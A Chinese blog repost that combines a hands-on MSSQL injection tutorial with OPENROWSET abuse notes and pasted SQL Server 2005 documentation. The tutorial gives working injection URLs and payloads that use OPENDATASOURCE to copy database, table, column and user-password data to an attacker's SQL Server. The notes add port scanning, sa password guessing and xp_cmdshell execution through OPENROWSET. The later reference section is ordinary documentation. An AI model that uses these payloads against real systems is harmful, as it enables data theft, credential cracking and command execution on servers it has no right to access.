现在的位置: 首页 > 综合 > 正文

opendatasource

2013年04月29日 ⁄ 综合 ⁄ 共 14909字 ⁄ 字号 评论关闭

注:直接用#temp这种表好象就不用这么麻烦了
insert%20into%20opendatasource('sqloledb','server=************;uid=sa;pwd=0000;database=hack').hack.dbo.yan%

20select%20name%20from%20master.dbo.sysdatabases--

insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.ku select db_name

(0)--

when 34 then ''image''when 35 then ''text''when 52 then ''smallint''when 56 then 'int''when 61 then ''datetime''when

62 then ''float''when 108 then ''numeric''when 167 then ''varchar''when 175 then ''char''when 231 then ''nvarchar''

我在192.168.8.10这台服务器上构建了一个测试环境,写了一个有漏洞的ASP代码
我又在另一台服务器192.168.8.20装了一个sqlserver,sa的密码是lcx。因为opendatasource宏走得是TCP协议,所以你要保证

192.168.8.20的1433端口 一定要被192.168.8.10访问到。Sqlserver sp2版本如果默认装在xp sp2下的话1433端口不会被外界访问到

的,这一点你要注意,建议打上SQL的SP3补丁。

第一步:得到当前所有库名
我们先在192.168.8.20上建库名和表名,你如果在企业管理器图形界面下安装我也不反对,我是直接的查循分析器写的语句:
create database lcxcreate TABLE ku(name nvarchar(256) null);create TABLE biao(id int NULL,name nvarchar(256) null);

这样我们就建好了一个库名是lcx,有两个表分别是ku和biao。Ku这个表存放了一个列名是name,类型是nvarchar(256);biao这个表

存放了两个列名,分别是int型的id和nvarchar(256)型的name列名。这里的库名、表名、列名的名字都是随便定的,你只要保证类型

对就可以了。

我们先来温习一下得到所有库名的SQL语句,代码是select name from master.dbo.sysdatabases。如果你现在还不懂这句代码的话

,可要恶补一下了。我们用一条语句得到192.168.8.10服务器上的所有数据库名。
insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.biao select name

from master.dbo.sysdatabases--

在我们的测试环境上就是:
http://192.168.8.10/web/f.asp?password=1' ... asource('sqloledb'

,'server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases—
效果如图3所示:
此时你跑去192.168.8.20的SQL上看一下KU这个表,你会惊奇发现对方所有的库名已经整齐的排好了,图4。

说到这里很多人可能又要担心权限问题了,我可以放心的告诉你,在public权限下也可以用opendatasource这个宏的。那么得到所有

的库了,你怎么才能知那个是当前库呢?哈,你把语句换一下不就得了,换成

insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.ku select db_name

(0)--

不就可以了吗?在图4中,bbsuser是我们的注入的当前库,我们来获得当前库的所有表名。

第二步:得到当前库的所有表名
语句为:
insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.biao select [id],

[name] from sysobjects where xtype='U'--
这个语句省略了当前库名,得到就是当前库的所有表名。你也可以把语句换成:
insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.biao select [id],

[name] from bbsuser.dbo.sysobjects where xtype='U'--
我们来做下测试,语句效果图如图5所示:

此时,我们再跑到192.168.8.20去看lcx.dbo.biao这里的数据,你会看到什么?图6

是不是我们已经获取了当前库的所有表名呢?好学的你肯定又要问了,那么我如何获得其它库的所有表名呢?很简单呀,基本语句格

式如下:
insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.biao select [id],

[name] from 库名.dbo.sysobjects where xtype='U'--
这里的库名我们在第一大步已经猜出来了。

第三步:获取列名
在图6中看没有看到,我们获得的第一个列名是bbsuser,其ID值是357576312.。有了这两条信息,我们来获取列名吧。在获取列名之

前,我们要在192.168.8.20上先做一步工作,复制一个系统表结构。在我先前建好的lcx库中执行语句:
select * into [tmpcolumns] from syscolumns where 1=2,这样会把系统表syscolumns的结构复制给[tmpcolumns]。做法示例图7。

我们来获取bbsuser这个表的所有列名,因为ID值是357576312,所以我们的语句是:

insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.tmpcolumns select *

from
syscolumns where id=357576312--
注入效果如图9所示:

再回到192.168.8.20上来看一下lcx.dbo.tmpcolum这个表,里边是什么内容(图10):

看到了吧?得到了bbsuser的所有列名,还有列名的一些其它信息。这里的其它信息也是有用的,给我们下一步获得字段值的工作做

好了准备。这里我只解释图10中的两个列名的意思。其中length是你获取的列名的长度,xtype是你获取的列名的类型。也许你要问

了,为什么获取的类型怎么都是56、175这样的数字呢? 我查了一些资料,找到了数字与类型对应的关系,关系表如下:
when 34 then ''image''when 35 then ''text''when 52 then ''smallint''when 56 then 'int''when 61 then ''datetime''when

62 then ''float''when 108 then ''numeric''when 167 then ''varchar''when 175 then ''char''when 231 then ''nvarchar''

第四步:获取字段值
有了注入数据库的当前库名、表名、列名的所有信息后,我们就可以获取这段值了。我们先在192.168.8.20上根据在图10中获得的信

息在lcx这个库来建一个新表bbsuser,列名分别是id(int类型长度是4)、username(char类型长度是10)、password(char类型长度是

10)。如果你不明白这步,你仔细看一下图10和那个数字与类型的对照表。我在192.168.8.20的企业管理器上已经建好了,如图11所

示:
获取注入数据库当前库所有信息的工作就要一步到位了,注入语句如下:
insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.bbsuser select *

from [bbsuser] --
在注入点上执行就是:
http://192.168.8.10/web/f.asp?password=1' ... asource('sqloledb'

,'server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.bbsuser select * from [bbsuser] --
示例是图12

我们来看一下终竟成没有成功,赶快到192.168.8.20上的lcx.dbo.bbsuser上去抓个图,自然是成功了的,图13

这样我们一步一步地把注入点的当前库所有的信息全部搬到我们本地来了。最后一步我要说明的是你获取字段值的时候,建的表名、

列名不一定要与注入库的完全一样,只要类型相符就可以了。

可能你说我的方法虽然不错,但毕竟没有工具爽。不过,我这里我要告诉你,目前我还没有见到用opendatasource来获取注入信息的

工具,倒是用openrowset来获取注入信息的工具我已经找到了。下边我就来简单介绍一下它的用法。

第五步:openrowset工具用法介绍
工具是老外写的,名字是DataThiefV1.0.exe,好像在安全焦点上有下的。软件运行界面如图14所示:

----------------------------------------------------------------------------------
二、具体利用
[下文都以OPENROWSET为例]

A.sqloledb接口利用:

select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=aaa;pwd=aaa','select @@version')

provider_name:sqloledb
datasource:server=127.0.0.1,1433
user_id:uid=aaa
password :pwd=aaa 
query:  select @@version
                      
1.利用参数datasource进行端口(内网)扫描:

a.本地端口扫描:
*.打开端口[是]:
select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=superhei;pwd=','select @@version')
服务器: 消息 18456,级别 14,状态 1,行 1
用户 'superhei' 登录失败。
*.打开端口[否]:
select * from openrowset('sqloledb','server=127.0.0.1,2433;uid=superhei;pwd=','select @@version')
服务器: 消息 17,级别 16,状态 1,行 1
SQL Server does not exist or access denied.

b.内网端口扫描:
*.打开端口[是]:
select * from openrowset('sqloledb','server=169.254.155.7,1433;uid=superhei;pwd=','select @@version')
服务器: 消息 18456,级别 14,状态 1,行 1
用户 'superhei' 登录失败。
*.打开端口[否]:
select * from openrowset('sqloledb','server=169.254.155.8,1433;uid=superhei;pwd=','select @@version')
服务器: 消息 17,级别 16,状态 1,行 1
SQL Server does not exist or access denied.

2.利用user_id/password进行用户密码猜解:
*密码正确
select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=sa;pwd=123456','select @@version')

Microsoft SQL Server  2000 - 8.00.194 (Intel X86)   Aug  6 2000 00:57:48   Copyright (c) 1988-2000 Microsoft

Corporation 

Personal Edition on Windows NT 5.0 (Build 2195: Service Pack 4)

*密码错误
select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=sa;pwd=123','select @@version')
服务器: 消息 18456,级别 14,状态 1,行 1
用户 'sa' 登录失败。

3.跨用户执行SQL

如果web当前连接的用户权限太低如public,提高上面的方法破解出sa的其他dbo的密码,那么我们可以通过注射跨用户[权限]执行

SQL语句了,

我们先测试下:

select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=sa;pwd=123456','exec master.dbo.xp_cmdshell [dir]')

服务器: 消息 7357,级别 16,状态 2,行 1
未能处理对象 'exec master.dbo.xp_cmdshell [dir]'。OLE DB 提供程序 'sqloledb' 指出该对象中没有任何列。

晕~~, 没有成功:没有列。我们可以利用多语句来突破:

select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=sa;pwd=123456','select user;exec

master.dbo.xp_cmdshell

[dir>c:/test.txt]')

返回select user的结果,我们在到c盘看看test.txt存在,exec master.dbo.xp_cmdshell [dir>c:/test.txt]成功执行了。

B.Microsoft OLE DB Provider for Jet等其他接口的利用。

SELECT f_name, f_password FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0', 'D:/lse/Connections/q.mdb';'admin';'',admin)
[ps:mdb没有设置密码是 用户名为admin ,密码为空]

返回数据库D:/lse/Connections/q.mdb、表admin、列f_name, f_password的内容,这样我们可以提高sql注射得到mdb里的一些敏感

数据,不过

上面的语句必须要求sa权限。我们还可以结合一些接口漏洞,如msjet40.dll溢出,来执行命令。

还有regwrite结合利用沙盒 再利用select shell()执行。等等。

------------------------------------------------------------------------------------
SQL Server 2005 联机丛书 
OPENROWSET (Transact-SQL) 

包含访问 OLE DB 数据源中的远程数据所需的全部连接信息。当访问链接服务器中的表时,这种方法是一种替代方法,并且是一种使

用 OLE DB 连接并访问远程数据的一次性的临时方法。可以在查询的 FROM 子句中像引用表名那样引用 OPENROWSET 函数。依据 OLE

DB 访问接口的功能,还可以将 OPENROWSET 函数引用为 INSERT、UPDATE 或 DELETE 语句的目标表。尽管查询可能返回多个结果集

,但 OPENROWSET 只返回第一个结果集。

OPENROWSET 还通过内置的 BULK 访问接口支持大容量操作,正是有了该访问接口,才能从文件读取数据并将数据作为行集返回。

 Transact-SQL 语法约定

语法

OPENROWSET
( { 'provider_name' , { 'datasource' ; 'user_id' ; 'password'
   | 'provider_string' }
      , {   [ catalog. ] [ schema. ] object
       | 'query'
     }
   | BULK 'data_file' ,
       { FORMATFILE = 'format_file_path' [ <bulk_options> ]
       | SINGLE_BLOB | SINGLE_CLOB | SINGLE_NCLOB }
} )

<bulk_options> ::=
   [ , CODEPAGE = { 'ACP' | 'OEM' | 'RAW' | 'code_page' } ]
   [ , ERRORFILE = 'file_name' ]
   [ , FIRSTROW = first_row ]
   [ , LASTROW = last_row ]
   [ , MAXERRORS = maximum_errors ]
   [ , ROWS_PER_BATCH = rows_per_batch ]

参数

'provider_name'
字符串,表示在注册表中指定的 OLE DB 访问接口的友好名称(或 PROGID)。provider_name 没有默认值。

'datasource'
与某个特定 OLE DB 数据源相对应的字符串常量。datasource 是将传递给访问接口的 IDBProperties 接口以初始化访问接口的

DBPROP_INIT_DATASOURCE 属性。通常,该字符串包含数据库文件的名称、数据库服务器的名称,或者访问接口能理解的用于定位数

据库的名称。

'user_id'
字符串常量,它是传递给指定 OLE DB 访问接口的用户名。user_id 为连接指定安全上下文,并作为 DBPROP_AUTH_USERID 属性传入

以初始化访问接口。user_id 不能是 Microsoft Windows 登录名称。

'password'
字符串常量,它是传递给 OLE DB 访问接口的用户密码。在初始化访问接口时,password 作为 DBPROP_AUTH_PASSWORD 属性传入。

password 不能是 Microsoft Windows 密码。

'provider_string'
访问接口特定的连接字符串,作为 DBPROP_INIT_PROVIDERSTRING 属性传入以初始化 OLE DB 访问接口。通常 provider_string 封

装初始化访问接口所需的所有连接信息。有关 SQL 本机客户端 OLE DB 访问接口可识别的关键字列表,请参阅Initialization and

Authorization Properties。

catalog
指定对象所在的目录或数据库的名称。

schema
架构的名称或指定对象的对象所有者名称。

object
对象名称,它唯一地标识出将要操作的对象。

'query'
字符串常量,发送到访问接口并由访问接口执行。SQL Server 的本地实例不处理该查询,但处理由访问接口返回的查询结果(传递

查询)。有些访问接口并不通过表名而是通过命令语言提供其表格格式数据,将传递查询用于这些访问接口是非常有用的。只要查询

访问接口支持 OLE DB Command 对象及其强制接口,那么在远程服务器上就支持传递查询。有关详细信息,请参阅 SQL Native

Client (OLE DB) Reference。

BULK
使用 OPENROWSET 的 BULK 行集访问接口读取文件中的数据。在 SQL Server 2005 中,OPENROWSET 无需将数据文件中的数据加载到

目标表,便可读取这些数据。这样便可在单个 SELECT 语句中使用 OPENROWSET。

BULK 选项的参数可对何时开始和结束数据读取、如何处理错误以及如何解释数据提供有效控制。例如,可以指定以类型为

varbinary、varchar 或 nvarchar 的单行单列行集的形式读取数据文件。默认行为详见随后的参数说明。

有关 BULK 选项所需权限的信息,请参阅本主题后面的权限部分。

注意: 
当用于以完整恢复模式导入数据时,OPENROWSET (BULK ...) 不优化日志记录。
 

' data_file '
数据文件的完整路径,该文件的数据将被复制到目标表中。

FORMATFILE = 'format_file_path'
指定格式化文件的完整路径。SQL Server 2005 支持两种格式化文件类型:XML 和非 XML。

格式化文件对定义结果集中的列类型是必需的。唯一的例外情况是指定 SINGLE_CLOB、SINGLE_BLOB 或 SINGLE_NCLOB 时;在这种情

况下,不需要格式化文件。

有关格式化文件的信息,请参阅使用格式化文件大容量导入数据。

< bulk_options >
指定 BULK 选项的一个或多个参数。

CODEPAGE = { 'ACP '| 'OEM '| 'RAW '| 'code_page' }
指定该数据文件中数据的代码页。仅当数据含有字符值大于 127 或小于 32 的 char、varchar 或 text 列时,CODEPAGE 才是适用

的。

CODEPAGE 值  说明 
ACP
 将数据类型为 char、varchar 或 text 的列由 ANSI/Microsoft Windows 代码页 (ISO 1252) 转换为 SQL Server 代码页。
 
OEM(默认值)
 将数据类型为 char、varchar 或 text 的列由系统 OEM 代码页转换为 SQL Server 代码页。
 
RAW
 不执行从一个代码页到另一个代码页的转换。这是执行最快的选项。
 
code_page
 指示编码数据文件中的字符数据所在的源代码页;例如,850。该代码页对 SQL Server 2005 数据库引擎 正确解释输入数据是必需

的。
 

ERRORFILE = 'file_name'
指定用于收集格式有误且不能转换为 OLE DB 行集的行的文件。这些行将按原样从数据文件复制到此错误文件中。

错误文件在开始执行命令时创建。如果该文件已存在,将引发一个错误。此外,还创建了一个扩展名为 .ERROR.txt 的控制文件。此

文件引用错误文件中的每一行并提供错误诊断。纠正错误后即可加载数据。

FIRSTROW = first_row
指定要加载的第一行的行号。默认值为 1,指示指定数据文件的第一行。通过对行终止符进行计数来确定行号。

LASTROW = last_row
指定要加载的最后一行的行号。默认值为 0,指示指定数据文件中的最后一行。

MAXERRORS = maximum_errors
指定格式化文件中定义的、在 OPENROWSET 引发异常之前可以发生的语法错误或格式有误行的最大数目。在达到 MAXERRORS 之前,

OPENROWSET 会忽略每个错误行,不加载它,并将其计为一个错误。

maximum_errors 的默认值为 10。

注意: 
MAX_ERRORS 不适用于 CHECK 约束,也不适用于 money 和 bigint 数据类型的转换。
 

ROWS_PER_BATCH = rows_per_batch
指定数据文件中近似的数据行数量。该值应与实际行数相同。

OPENROWSET 始终以单批形式导入数据文件。但如果将 rows_per_batch 的值指定为 > 0,则查询处理器在查询计划中分配资源时将

使用 rows_per_batch 的值作为提示。

默认情况下,ROWS_PER_BATCH 未知。指定 ROWS_PER_BATCH = 0 相当于忽略 ROWS_PER_BATCH。

SINGLE_BLOB
将 data_file 的内容作为类型为 varbinary(max) 的单行单列行集返回。

重要事项: 
我们建议您仅使用 SINGLE_BLOB 选项(而不是 SINGLE_CLOB 和 SINGLE_NCLOB)导入 XML 数据,因为只有 SINGLE_BLOB 支持所有

的 Windows 编码转换。
 

SINGLE_CLOB
通过以 ASCII 格式读取 data_file,使用当前数据库的排序规则将内容作为类型为 varchar(max) 的单行单列行集返回。

SINGLE_NCLOB
通过以 UNICODE 格式读取 data_file,使用当前数据库的排序规则将内容作为类型为 nvarchar(max) 的单行单列行集返回。

备注

只有在以下情况下才能使用 OPENROWSET 访问 OLE DB 数据源中的远程数据:指定访问接口的 DisallowAdhocAccess 注册表选项已

显式设置为 0,并启用了 Ad Hoc Distributed Queries 高级配置选项。如果未设置这些选项,则默认行为不允许即席访问。

如果 OLE DB 访问接口在指定的数据源中支持多个目录和架构,那么就需要目录及架构名称。如果 OLE DB 访问接口并不支持多个目

录和架构,那么可以忽略 catalog 和 schema 的值。

如果访问接口只支持架构名称,那么必须指定一个格式为 schema.object 的两部分名称。如果访问接口只支持目录名称,那么必须

指定一个格式为 catalog.schema.object 的三部分名称。

OPENROWSET 不接受参数变量。

带有 BULK 选项的 OPENROWSET 在 FROM 子句中需要有一个相关名称,也称为范围变量或别名。可以指定列别名。如果未指定列别名

列表,则格式化文件必须具有列名。指定列别名会覆盖格式化文件中的列名,例如:

FROM OPENROWSET(BULK...) AS table_alias

FROM OPENROWSET(BULK...) AS table_alias(column_alias,...n)

在将 OPENROWSET BULK 选项用于 INSERT 语句时可以使用表提示。除了 TABLOCK 等常规表提示之外,BULK 子句还可以接受下列专

用表提示:IGNORE_CONSTRAINTS(仅忽略 CHECK 约束)、IGNORE_TRIGGERS、KEEPDEFAULTS 和 KEEPIDENTITY。有关详细信息,请参

阅表提示 (Transact-SQL)。

有关如何使用 INSERT ...SELECT * FROM OPENROWSET(BULK...) 语句的信息,请参阅导入和导出大容量数据。

大容量导出或导入 SQLXML 文档
若要大容量导出或导入 SQLXML 数据,请使用下列数据类型之一:

数据类型  效果 
SQLCHAR 或 SQLVARYCHAR
 在客户端代码页或排序规则暗含的代码页中发送数据。
 
SQLNCHAR 或 SQLNVARCHAR
 以 Unicode 格式发送数据。
 
SQLBINARY 或 SQLVARYBIN
 不经任何转换即发送数据。
 

权限

OPENROWSET 权限由传递给 OLE DB 访问接口的用户名的权限确定。使用 BULK 选项需要具有 ADMINISTER_BULK_OPERATIONS 权限。

示例

A. 将 OPENROWSET 用于 SELECT 和 SQL 本机客户端 OLE DB 访问接口
以下示例使用 SQL 本机客户端 OLE DB 访问接口 (SQLNCLI) 访问 HumanResources.Department 表,该表位于远程服务器 Seattle1

上的 AdventureWorks 数据库中。使用 SELECT 语句定义返回的行集。访问接口字符串包含 Server 和 Trusted_Connection 关键字

。这些关键字由 SQL 本机客户端 OLE DB 访问接口识别。

SELECT a.*
FROM OPENROWSET('SQLNCLI', 'Server=Seattle1;Trusted_Connection=yes;',
     'SELECT GroupName, Name, DepartmentID
      FROM AdventureWorks.HumanResources.Department
      ORDER BY GroupName, Name') AS a;

B. 使用 Microsoft OLE DB Provider for Jet
以下示例通过 Microsoft OLE DB Provider for Jet 访问 Microsoft Access Northwind 数据库中的 Customers 表。

注意: 
该示例假定已经安装了 Access。若要运行该示例,则必须安装 Northwind 数据库。有关如何安装 Northwind 数据库的详细信息,

请参阅下载 Northwind 和 pubs 示例数据库。
 

SELECT CustomerID, CompanyName
   FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0',
      'C:/Program Files/Microsoft Office/OFFICE11/SAMPLES/Northwind.mdb';
      'admin';'',Customers)
GO

D. 使用 OPENROWSET 和 INNER JOIN 中的另一个表
以下示例从 SQL Server Northwind 数据库的本地实例中的 Customers 表以及存储在同一计算机上的 Access Northwind 数据库中

的 Orders 表选择所有数据。

注意: 
该示例假定已经安装了 Access。若要运行该示例,则必须安装 Northwind 数据库。有关如何安装 Northwind 数据库的详细信息,

请参阅下载 Northwind 和 pubs 示例数据库。
 

USE Northwind 
GO
SELECT c.*, o.*
FROM Northwind.dbo.Customers AS c
   INNER JOIN OPENROWSET('Microsoft.Jet.OLEDB.4.0',
   'C:/Program Files/Microsoft Office/OFFICE11/SAMPLES/Northwind.mdb';'admin';'', Orders)   
   AS o
   ON c.CustomerID = o.CustomerID
GO

D. 使用 OPENROWSET 将文件数据大容量插入 varbinary(max) 列中
以下示例创建一个用于演示的小型表,并将名为 Text1.txt 的文件(位于 C: 根目录)中的文件数据插入 varbinary(max) 列中。

USE AdventureWorks
GO
CREATE TABLE myTable(FileName nvarchar(60),
  FileType nvarchar(60), Document varbinary(max))
GO

INSERT INTO myTable(FileName, FileType, Document)
   SELECT 'Text1.txt' AS FileName,
      '.txt' AS FileType,
      * FROM OPENROWSET(BULK N'C:/Text1.txt', SINGLE_BLOB) AS Document
GO

E. 将 OPENROWSET BULK 访问接口用于格式化文件以检索文本文件中的行
以下示例使用格式化文件检索用制表符分隔的文本文件 values.txt 中的行,该文件包含下列数据:

1     Data Item 1
2     Data Item 2
3     Data Item 3

格式化文件 values.fmt 说明 values.txt 中的列:

9.0
2
1  SQLCHAR  0  10 "/t"        1  ID                SQL_Latin1_General_Cp437_BIN
2  SQLCHAR  0  40 "/r/n"      2  Description        SQL_Latin1_General_Cp437_BIN

下面的语句是检索此数据的查询:

SELECT a.* FROM OPENROWSET( BULK 'c:/test/values.txt',
   FORMATFILE = 'c:/test/values.fmt') AS a;

------------------------------------------------------------------------------------------------------
SQL Server 2005 联机丛书 
OPENDATASOURCE (Transact-SQL) 

不使用链接服务器的名称,而提供特殊的连接信息,并将其作为四部分对象名的一部分。

 Transact-SQL 语法约定

语法

OPENDATASOURCE ( provider_name, init_string )

参数

provider_name
注册为用于访问数据源的 OLE DB 访问接口的 PROGID 的名称。provider_name 的数据类型为 char,无默认值。

init_string
连接字符串,该字符串将要传递给目标提供程序的 IDataInitialize 接口。提供程序字符串语法是以关键字值对为基础的,这些关

键字值对由分号隔开,例如:“keyword1=value; keyword2=value”。

若要了解提供程序上支持的特定关键字值对,请参阅 Microsoft Data Access SDK。该文档定义了基本语法。下表列出了

init_string 参数中最常用的关键字。

关键字  OLE DB 属性  有效值和说明 
数据源
 DBPROP_INIT_DATASOURCE
 要连接的数据源的名称。不同的提供程序用不同的方法对此进行解释。对于 SQL 本机客户端 OLE DB 访问接口来说,这指示服务器

的名称。对于 Jet OLE DB 访问接口来说,这指示 .mdb 文件或 .xls 文件的完整路径。
 
位置
 DBPROP_INIT_LOCATION
 要连接的数据库的位置。
 
扩展属性
 DBPROP_INIT_PROVIDERSTRING
 提供程序特定的连接字符串。
 
连接超时
 DBPROP_INIT_TIMEOUT
 达到该超时值后,连接尝试将失败。
 
用户 ID
 DBPROP_AUTH_USERID
 用于该连接的用户 ID。
 
密码
 DBPROP_AUTH_PASSWORD
 用于该连接的密码。
 
目录
 DBPROP_INIT_CATALOG
 连接到数据源时的初始或默认的目录名称。
 
集成安全性
 DBPROP_AUTH_INTEGRATED
 SSPI,指定 Windows 身份验证
 

备注

仅当 DisallowAdhocAccess 注册表选项针对指定的提供程序显式设置为 0,并且启用 Ad Hoc Distributed Queries 高级配置选项

时,OPENDATASOURCE 才可用于访问 OLE DB 数据源中的远程数据。如果未设置这些选项,则默认行为不允许即席访问。

OPENDATASOURCE 函数可以在能够使用链接服务器名的相同 Transact-SQL 语法位置中使用。因此,可以将 OPENDATASOURCE 用作四

部分名称的第一部分,该部分名称引用 SELECT、INSERT、UPDATE 或 DELETE 语句中的表或视图的名称;或者引用 EXECUTE 语句中

的远程存储过程。当执行远程存储过程时,OPENDATASOURCE 应该引用 SQL Server 的另一个实例。OPENDATASOURCE 不接受参数变量

与 OPENROWSET 函数类似,OPENDATASOURCE 应该只引用那些不经常访问的 OLE DB 数据源。对于访问次数较频繁的任何数据源,请

为它们定义链接服务器。无论 OPENDATASOURCE 还是 OPENROWSET 都不能提供链接服务器定义的全部功能,例如,安全管理以及查询

目录信息的功能。每次调用 OPENDATASOURCE 时,都必须提供所有的连接信息(包括密码)。

重要事项: 
Windows 身份验证比 SQL Server 身份验证更加安全。应尽量使用 Windows 身份验证。OPENDATASOURCE 不应该用于连接字符串中的

显式密码。
 

权限

任何用户都可以执行 OPENDATASOURCE。用于连接到远程服务器的权限由连接字符串确定。

 

抱歉!评论已关闭.